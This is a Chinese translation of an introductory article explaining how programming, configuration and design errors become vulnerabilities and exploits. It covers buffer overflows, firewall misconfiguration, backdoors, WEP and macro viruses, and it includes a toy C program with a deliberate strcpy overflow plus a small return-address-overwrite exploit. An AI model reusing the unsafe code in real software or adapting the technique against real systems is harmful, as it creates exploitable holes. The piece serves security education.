主頁 > 知識庫 > 對錯誤,漏洞和exploits的說明

對錯誤,漏洞和exploits的說明

熱門標簽:不同的地圖標注 隨州銷售外呼系統(tǒng)平臺 激戰(zhàn)黃昏地圖標注說明 交行外呼系統(tǒng)有哪些 溫嶺代理外呼系統(tǒng) 臨滄移動外呼系統(tǒng)哪家有 防城港市ai電銷機器人 寧夏保險智能外呼系統(tǒng)哪家好 怎么更改地圖標注電話
作者:Mark Vogels 
翻譯:黯魂[S.S.T] 

在這篇文檔中,我將會試著為你提供一個對于錯誤,和由于那些錯誤而產(chǎn)生的漏洞以及它們的exploits的基本認識。那決不意味著能讓你完全理解exploits和漏洞,但是能幫助你學(xué)會認識可能的漏洞以及怎樣處理它們。 

一般而言有3種不同類型的錯誤會可能危及計算機系統(tǒng)和網(wǎng)絡(luò)的安全。 
#編程錯誤 
#配置錯誤 
#設(shè)計錯誤 

錯誤可以被看成是失誤,盡管它們并非都是由事故導(dǎo)致的。軟件/設(shè)備的最初創(chuàng)建者可能就存在錯誤,用最好的想法卻創(chuàng)建了錯誤,并且沒有意識到它可能就是一個潛在的威脅。這聽上去可能有點糊涂,但是稍后在文章中都將會被澄清。為了深入探討關(guān)于錯誤的細節(jié),我們需要創(chuàng)建一個對不同類型的錯誤的定義以至于我們能更容易認識它們。 

不同錯誤類型的定義 

編程錯誤: 

編程錯誤通常是由程序編寫者造成的。最常見的可利用編程錯誤是緩沖區(qū)溢出。把緩沖區(qū)溢出想象成一個空的杯子:程序的使用者將要倒咖啡到杯子里,但是程序編寫者事先并不知道使用者將會倒多少咖啡在里面。所以程序編寫者必須在使用者把咖啡倒進杯子之前檢查和測試,以阻止咖啡從杯子里溢出。有時候檢查輸入大小并不容易,或者由于時間緊迫,程序員沒有時間寫足夠廣泛的錯誤檢測函數(shù)。那么結(jié)果就是:可能的緩沖區(qū)溢出和其他的編程錯誤被創(chuàng)建。 

另一個編程錯誤的例子是:當(dāng)用戶做一些預(yù)料之外的事,比如加載一個錯誤類型的文件到程序中時,程序會崩潰。當(dāng)然不是所有的編程錯誤都需要用戶輸入才能做一些預(yù)料之外的事,像使程序崩潰。一個程序也會取決于總是在一個明確位置的特殊文件。如果那個文件被移動,并且程序員沒有預(yù)料到,他就不可能在程序嘗試打開它之前檢測文件是否還是在那個位置。假如程序在打開那個文件后嘗試用它運行,這就會導(dǎo)致不可預(yù)見的行為。 

這些類型的錯誤發(fā)生得相當(dāng)頻繁,并且大多時候廠商都會分發(fā)補丁包來解決由消費者或者他們自己發(fā)現(xiàn)的被報告的錯誤。 

配置錯誤: 

這樣想象一個配置錯誤:如果你是一個網(wǎng)絡(luò)管理員并且你需要運行一個防火墻來保護你的網(wǎng)絡(luò)。習(xí)慣上,你會允許任何進出的流量,除專門拒絕的流量種類之外。 

一個簡單的例子是防火墻僅僅阻塞了80端口,然而它將允許來自因特網(wǎng)的任何人連接到防火墻的配置頁面重新配置它。其余的端口都是開著的。這明顯就是一個配置錯誤,任何人都能通過使用另一個端口號來繞過防火墻。 

幸運的是大多數(shù)廠商都知道這個錯誤,因此他們都正確的做了相反的處理:任何流量都被阻塞除非專門允許的。所以自從端口被關(guān)閉以后,網(wǎng)絡(luò)管理員都不再需要擔(dān)心發(fā)現(xiàn)的新問題,通過一個不使用的端口能訪問他的網(wǎng)絡(luò)。(這里我只使用端口來舉例子,不過這在相同的端口上也能應(yīng)用不同類型的流量。) 

另一個配置錯誤的例子是,在一個網(wǎng)絡(luò)中的不受管理的hub代替可管理的交換機的用法。不同之處是,hub發(fā)送所有進入的數(shù)據(jù)包到所有的端口,因為它并不知道在它后面的接收者被定位到哪個端口,而交換機知道。所以,在一個使用hub代替交換機的網(wǎng)絡(luò)中運行一個sniffer,允許一個攻擊者查看包含可能的用戶名及密碼的更多數(shù)據(jù)包,解決辦法就是在網(wǎng)絡(luò)中使用交換機。即使現(xiàn)在這是一個配置錯誤,但在過去卻不是,因為那時交換機還不存在。 
  
設(shè)計錯誤: 

設(shè)計錯誤可以被看成是在軟件設(shè)計階段發(fā)生的錯誤。即使程序員花足夠的時間在軟件發(fā)布之前編寫檢測流程來檢驗所有用戶的輸入,即使軟件被最終用戶正確地配置,這些錯誤仍然會造成對于一個網(wǎng)絡(luò)的安全的極大危險。 

讓我們看看這種情況:一個公司決定開發(fā)一個軟件,這個軟件允許遠程訪問到一個網(wǎng)絡(luò)。那么他們也不得不支持這個軟件,從而他們決定放一些后門在里面以至于能使用公司名字作為密碼遠程登錄。如果公司以外的人發(fā)現(xiàn)了那些后門呢,會發(fā)生什么?他使用那個軟件的遠程訪問能夠登錄進任何一個網(wǎng)絡(luò)。結(jié)果將會是損失慘重的! 

盡管這些后門在過去被創(chuàng)建的相當(dāng)頻繁,現(xiàn)在一個公司銷售類似的軟件卻不會再帶來風(fēng)險了,因為他要對攻擊者的濫用后門負責(zé)。 

另一個設(shè)計錯誤的例子是使用在安全無線網(wǎng)絡(luò)中的WEP加密。我不打算深入說明這為什么是一個設(shè)計錯誤,畢竟那超出了這篇文章的范圍,但是它的基本流程是這樣的: 
一個3字節(jié)的初始化矢量增加到公鑰中來加密每個唯一的數(shù)據(jù)包。假設(shè)公鑰是abcde。第一個數(shù)據(jù)包的初始化矢量是123,因此這個數(shù)據(jù)包的全部密鑰就是123abcde。下一個數(shù)據(jù)包的初始化矢量是234,那么它的密鑰就是234abcde。 

設(shè)計錯誤在這里其實也就是,只有3字節(jié)的不同初始化矢量,導(dǎo)致了255^3或者說1650萬不同的keys以及部分加密算法被使用。通過逆向分析部分算法,能夠相當(dāng)容易地獲得公鑰中的幾個字符。由于這個設(shè)計錯誤,你只需要用唯一的初始化矢量重復(fù)發(fā)送10萬個包(64-bit),發(fā)送80萬個包(128-bit),就能破解出WEP-key,便可以進入完整的無線網(wǎng)絡(luò)中。在一個繁忙的無線網(wǎng)絡(luò)中這能在幾小時內(nèi)做到。 

那么你看到了,設(shè)計錯誤有點更難解決。你不能只是期望廠商發(fā)布快速更新來解決這個問題,你也不可能通過查閱產(chǎn)品說明書自己解決。針對WEP加密這種情況,一個小組創(chuàng)建了一個新的標準,叫做WPA。這意味著使用WEP加密的產(chǎn)品應(yīng)該被取代,或者通過硬件更新以允許它們用這個新加密標準工作。對于已發(fā)現(xiàn)的WEP上的設(shè)計錯誤的細節(jié)描述,可以去看看airscanner。com上面的精華文章。 


這些錯誤如何成為漏洞的? 

一個漏洞就是對目標的保護方面的一個弱點。目標可以是連到一個完整網(wǎng)絡(luò)的一臺計算機的任何部分。我不會說明這兒可能的漏洞的所有不同,因為那幾乎不可能,但是我將設(shè)法指出什么是漏洞,以及漏洞如何產(chǎn)生的。 

按照早期的規(guī)定,最普遍的會成為漏洞的編程錯誤是緩沖區(qū)溢出。假設(shè)一個基于棧的緩沖區(qū)溢出,緩沖區(qū)被放置在棧中。棧可以被看成是你的處理器存儲數(shù)據(jù)在里面并能與其共同工作的一個臨時工作區(qū)?,F(xiàn)在,當(dāng)你溢出一個放置在棧里的緩沖區(qū)時,你能夠?qū)憯?shù)據(jù)到已分配空間的緩沖區(qū)之外,因此可以寫其它數(shù)據(jù)到棧中。而其它數(shù)據(jù)可以是調(diào)用函數(shù)的返回地址。假設(shè)調(diào)用函數(shù)的返回地址是12345678,并且返回地址直接存儲在緩沖區(qū)后面的棧中,那么??瓷先タ赡軙襁@樣: 
XXXXXXXXXX12345678 

XXXXXXXXXX是將包含我們的輸入的緩沖區(qū)。如果我們放一些比緩沖區(qū)大小要少的數(shù)據(jù)在里面,沒有任何奇怪的事會發(fā)生,但是當(dāng)我們放12個'A'在這只能承載10個字符的緩沖區(qū)中時,多余的2個A就會覆蓋掉返回地址部分。從而使返回地址變成一個無效地址,然后函數(shù)無法返回,程序就崩潰了。 

如果這個程序是一個服務(wù)端應(yīng)用程序,有人能放12個A使程序崩潰,并且導(dǎo)致其他所有用戶都無法訪問。這就成為了一個拒絕服務(wù)攻擊的例子。既然這樣,這個錯誤就有了拒絕服務(wù)漏洞。 

如果我們用與上面同樣的例子,但換一個更大的緩沖區(qū),那么溢出緩沖區(qū)也就意味著更多的數(shù)據(jù)在一個實際溢出發(fā)生之前必須被放進去,可是當(dāng)那發(fā)生時,我們可以寫一些計算機代碼(匯編指令),將其作為數(shù)據(jù)的一部分而放在緩沖區(qū)中使用。我們通過覆蓋它來改變返回地址,以指向我們溢出的緩沖區(qū)后面,程序?qū)噲D執(zhí)行我們的緩沖區(qū)。這時,緩沖區(qū)包含了我們放進去的代碼,程序并不會崩潰,而是轉(zhuǎn)去執(zhí)行我們的代碼。由于那些代碼可以是開啟一個shell(命令解釋程序)的一小段代碼,并且會在那臺計算機上監(jiān)聽一個特殊端口,因此這種類型的代碼經(jīng)常被稱作shellcode。 

隨著這些代碼的運行,有人便能夠連接到那個特殊的端口上,并能執(zhí)行遠程命令,同時獲得與在遠程計算機開啟這個存在漏洞的應(yīng)用程序的用戶所擁有的相同訪問權(quán)的控制權(quán)。 

對于配置錯誤,如果我們看看防火墻的例子,漏洞就更加明顯。假如那個防火墻能經(jīng)由telnet遠程配置,那么僅僅不允許訪問防火墻的80端口會給網(wǎng)絡(luò)管理員一個安全上的錯誤認識,攻擊者仍舊能夠通過連接到防火墻的23端口進行訪問而配置它。 

然而,自從消費者開始要求他們所購買的產(chǎn)品應(yīng)具有不同配置選項以后,廠商就開始著手研發(fā)高級別的可配置的軟件和設(shè)備。這可能讓一個設(shè)備的配置變得專業(yè)化而導(dǎo)致錯誤很容易發(fā)生。類似的設(shè)備的配置是如此的復(fù)雜,而漏洞能被網(wǎng)絡(luò)管理員看到,因此允許一個潛在的攻擊者訪問到網(wǎng)絡(luò)或系統(tǒng)中他本不應(yīng)該訪問到的部分,所以一個簡單的配置錯誤會導(dǎo)致網(wǎng)絡(luò)和系統(tǒng)中存在一個潛在的漏洞。 

我已經(jīng)給出了一個由設(shè)計錯誤導(dǎo)致漏洞的例子:WEP密鑰,但它很容易引出另一個設(shè)計錯誤的例子:設(shè)想一個軟件公司編寫了一個軟件用于瀏覽和創(chuàng)建文本文檔。他們想要出售他們的產(chǎn)品,然而由于競爭者的軟件公司也開發(fā)了一款相同功能的軟件,他們不得不設(shè)計一個表面上有更強大的功能的程序。因此他們決定增加一個特性以允許用戶能對自己創(chuàng)建的文檔有更多的控制,那樣用戶可以編寫小型函數(shù)(宏),并能被植入文檔中,同時能夠幫助文檔瀏覽者在他的計算機上做各種各樣的事情。如果所有這些功能被一個惡意攻擊者使用,創(chuàng)建一個已植入宏的文檔,能復(fù)制自身到機器上被找到的其他所有文檔中去,并且不經(jīng)過瀏覽者的同意做各種各樣的其他事情呢?那么在這個被設(shè)計而創(chuàng)建的程序中,我們又有了一個可能的漏洞。 

你可以看到,一個錯誤會導(dǎo)致產(chǎn)生一個漏洞。在宏被使用在文檔中的情況下,幫助軟件用戶創(chuàng)建更多動態(tài)文檔的想法很偉大,除設(shè)計時沒有考慮安全因素以外。 


那么什么是一個exploit? 

exploit就是一種利用一個已發(fā)現(xiàn)的漏洞來改變程序或者系統(tǒng)初始功能的方法。這種方法對于一個攻擊者而言更有用處。在計算機安全中,術(shù)語"exploit"經(jīng)常被用于描述一個特殊的程序,它的唯一目的就是自動利用一個漏洞來取得對有漏洞的目標程序的控制權(quán),或者終止目標程序的正常功能。 

但是在一個系統(tǒng)或者網(wǎng)絡(luò)中使用一個錯誤的配置對要利用它的攻擊者來說,也能被叫做一個exploit,盡管它不一定非要是一個實際上能完成工作的特殊程序。 

我將通過一些C代碼的例子來試著說明一個exploit的作用,其中之一是一個存在緩沖區(qū)溢出漏洞的簡單的程序,另一個則是exploit。 

注意:這里給出的例子可能在不同的編譯器和系統(tǒng)上表現(xiàn)不同。你可能需要改變緩沖區(qū)中字符的數(shù)目才能真正改寫返回地址,或者exploitfunction的地址會不同,但是他們?nèi)阅芄ぷ鳌?nbsp;

vulnerable_program.c: 


Copy code
#include "stdio。h" 
/*利用函數(shù)*/ 
exploitfunction() 

/*如果緩沖區(qū)溢出被成功利用,就會輸出此行內(nèi)容*/ 
printf("This line will be printed after successfully exploiting the buffer overflow. "); 
system("pause"); 
ExitProcess(0); 


normalfunction(char *myargument) 

char buffer[10]; 
strcpy(buffer,myargument); 


main(int argc, char *argv[]) 

if(argc>1) 

normalfunction(argv[1]); 
printf(" These lines get printed during normal execution with at least 1 commandline argument.The address of exploitfunction 
is 0x%。8X ",exploitfunction); 

else 
printf("Please provide the program with at least 1 commandline argument. "); 
ExitProcess(0); 


我已經(jīng)創(chuàng)建了3個函數(shù),一個是主函數(shù),其他2個分別是:在正常情況下執(zhí)行的normalfunction,以及利用函數(shù)exploitfunction。程序的目的是溢出緩沖區(qū)以至于返回地址將指向替換了normalfunction后面下一條指令的exploitfunction函數(shù)。 

現(xiàn)在我們需要指出文本字符串要多大才能完全覆蓋棧中的返回地址。有這個作為目標,就好辦了!我們每次增加一個字符直到程序崩潰。 

當(dāng)我在Windows系統(tǒng)上使用Dev-cpp編譯完程序以后,我知道了在程序崩潰之前最多需要27個A。 
exploitfunction函數(shù)的地址以16進制形式表示,并且字節(jié)值經(jīng)常表現(xiàn)出:地址是不可打印的字符。我寫了一個小程序,它將給這個易受攻擊的程序提供必要的字符串以利用它。 

在我的環(huán)境中,exploitfunction函數(shù)的地址(從易受攻擊的程序內(nèi)部我方便地打印得到)是0x00401290。因為棧在Intel x86系統(tǒng)上是以逆序存儲所有數(shù)據(jù)的(這篇文檔中那不會被說明),我們需要準備一個相同的字符串。因此可能的值類似于
0x41414141414141414141414141414141414141414141414141414141901240. 

你可以看到,這里的字符'A'(0x41)我使用的是16進制的表現(xiàn)形式,那是存儲在棧中的真實值。結(jié)果就是,exploit非常簡單: 

Exploit.c: 


Copy code
#include "stdio.h" 
main() 

char workbuffer[200]; 
char tempbuf[4]; 
strcpy(workbuffer,"vulnerable_program AAAAAAAAAAAAAAAAAAAAAAAAAAAA"); 
tempbuf[0]=0x90; 
tempbuf[1]=0x12; 
tempbuf[2]=0x40; 
tempbuf[3]=0; 
strcat (workbuffer,tempbuf); 
system(workbuffer); 
return 0; 


這段程序所做的就是復(fù)制字符串"vulnerable_program AAAAAAAAAAAAAAAAAAAAAAAAAAAA"到一個緩沖區(qū)中,并用新的返回地址創(chuàng)建另一個緩沖區(qū),附加在工作緩沖區(qū)之上。 
在那之后,程序調(diào)用system()來執(zhí)行字符串中的命令。輸出結(jié)果是: 
C:>exploit.exe 
This line will be printed after successfully exploiting the buffer overflow. 
Press any key to continue…… 

太棒了,它執(zhí)行了! 

難道那不偉大嗎? 

雖然我們實際上并沒有成功讓程序運行我們自己的代碼,但經(jīng)過一些小小的改變就能完成。 
關(guān)于緩沖區(qū)溢出的更多相關(guān)信息請參考Aleph One寫的著名文章"Smashing the stack for fun and profit"

經(jīng)過這篇文章的探討,你通常不得不自己行動來阻止你的系統(tǒng)或者網(wǎng)絡(luò)被一個已知漏洞所利用。對于配置錯誤我建議你請一位專家來幫你做必要的配置,因此在使用它之前你不用完全理解產(chǎn)品是如何運作的。對于編程和設(shè)計錯誤,通常有很多人進行產(chǎn)品測試,而其他人則發(fā)表他們發(fā)現(xiàn)的漏洞到Internet上的一些安全列表上。所以如果你保持持續(xù)關(guān)注這些安全列表,并確認你一直都在更新你的系統(tǒng)到最新版本,你就已經(jīng)接近一個安全環(huán)境了。 

―――――――――――――――――――――――――――――――――――――――――― 
最近的安全編程文檔: 

《Exploiting Software How to Break Code》 
描述如何編寫exploit代碼的 

《Learning XML, 2nd Edition》 

《Writing Secure Code》 
微軟公司核心推薦,教你怎樣編寫安全的代碼 

《OReilly Web Site Cookbook》 
建立和管理你的網(wǎng)站的使用手冊,包括大量實例及解決方案

標簽:沈陽 河源 青海 哈密 紅河 阜陽 無錫 忻州

巨人網(wǎng)絡(luò)通訊聲明:本文標題《對錯誤,漏洞和exploits的說明》,本文關(guān)鍵詞  對,錯誤,漏洞,和,exploits,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《對錯誤,漏洞和exploits的說明》相關(guān)的同類信息!
  • 本頁收集關(guān)于對錯誤,漏洞和exploits的說明的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章